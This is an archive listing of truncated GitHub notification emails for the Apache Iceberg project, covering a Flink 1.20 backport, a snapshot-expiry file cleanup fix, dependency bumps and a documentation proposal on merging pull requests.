Re: [PR] Flink: Backport PR #10179 to Flink 1.20 for v2 sink [iceberg]

2024-08-26 Thread via GitHub
stevenzwu commented on PR #11011: URL: https://github.com/apache/iceberg/pull/11011#issuecomment-2311125687 `apply` cmd used three-way merge for conflict. just to be safe, can you also run the diff and make sure diffs are not related to your change? ``` git diff --no-index fli

Re: [PR] Core: Fix the behavior of IncrementalFileCleanup when expire a snapshot [iceberg]

2024-08-26 Thread via GitHub
amogh-jahagirdar commented on code in PR #10983: URL: https://github.com/apache/iceberg/pull/10983#discussion_r1731784757 ## core/src/main/java/org/apache/iceberg/IncrementalFileCleanup.java: ## @@ -327,4 +342,34 @@ private Set findFilesToDelete( return filesToDelete;

Re: [PR] Core: Fix the behavior of IncrementalFileCleanup when expire a snapshot [iceberg]

2024-08-26 Thread via GitHub
amogh-jahagirdar commented on code in PR #10983: URL: https://github.com/apache/iceberg/pull/10983#discussion_r1731788916 ## core/src/main/java/org/apache/iceberg/IncrementalFileCleanup.java: ## @@ -61,17 +63,21 @@ public void cleanFiles(TableMetadata beforeExpiration, TableMet

Re: [PR] Build: Bump org.xerial:sqlite-jdbc from 3.46.0.1 to 3.46.1.0 [iceberg]

2024-08-26 Thread via GitHub
Fokko commented on PR #11007: URL: https://github.com/apache/iceberg/pull/11007#issuecomment-2311086252 @dependabot rebase -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. T

Re: [PR] Build: Bump com.palantir.baseline:gradle-baseline-java from 5.61.0 to 5.64.0 [iceberg]

2024-08-26 Thread via GitHub
dependabot[bot] commented on PR #11004: URL: https://github.com/apache/iceberg/pull/11004#issuecomment-2311085635 OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, l

Re: [PR] Build: Bump com.palantir.baseline:gradle-baseline-java from 5.61.0 to 5.64.0 [iceberg]

2024-08-26 Thread via GitHub
Fokko commented on PR #11004: URL: https://github.com/apache/iceberg/pull/11004#issuecomment-2311085571 Replaced by https://github.com/apache/iceberg/pull/11012 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL a

Re: [PR] Build: Bump com.palantir.baseline:gradle-baseline-java from 5.61.0 to 5.64.0 [iceberg]

2024-08-26 Thread via GitHub
Fokko closed pull request #11004: Build: Bump com.palantir.baseline:gradle-baseline-java from 5.61.0 to 5.64.0 URL: https://github.com/apache/iceberg/pull/11004 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL abov

Re: [PR] Flink: Backport PR #10179 to Flink 1.20 for v2 sink [iceberg]

2024-08-26 Thread via GitHub
rodmeneses commented on PR #11011: URL: https://github.com/apache/iceberg/pull/11011#issuecomment-2311085432 > > Steps: > > ```shell > > git diff HEAD^ HEAD > /tmp/v1.19.patch > > cat /tmp/v1.19.patch | sed "s/v1.19/v1.20/g" > /tmp/v1.20.patch > > git apply -3 /tmp/v1.20.patch

Re: [PR] Flink: Backport PR #10179 to Flink 1.20 for v2 sink [iceberg]

2024-08-26 Thread via GitHub
stevenzwu commented on PR #11011: URL: https://github.com/apache/iceberg/pull/11011#issuecomment-2311083518 > Steps: > > ```shell > git diff HEAD^ HEAD > /tmp/v1.19.patch > cat /tmp/v1.19.patch | sed "s/v1.19/v1.20/g" > /tmp/v1.20.patch > git apply -3 /tmp/v1.20.patch > ```

Re: [PR] DOC: Strawman proposal for PR merging [iceberg]

2024-08-26 Thread via GitHub
emkornfield commented on code in PR #10780: URL: https://github.com/apache/iceberg/pull/10780#discussion_r1731814485 ## site/docs/contribute.md: ## @@ -45,6 +45,16 @@ The Iceberg community prefers to receive contributions as [Github pull requests] * If a PR is related to an is

  1   2   >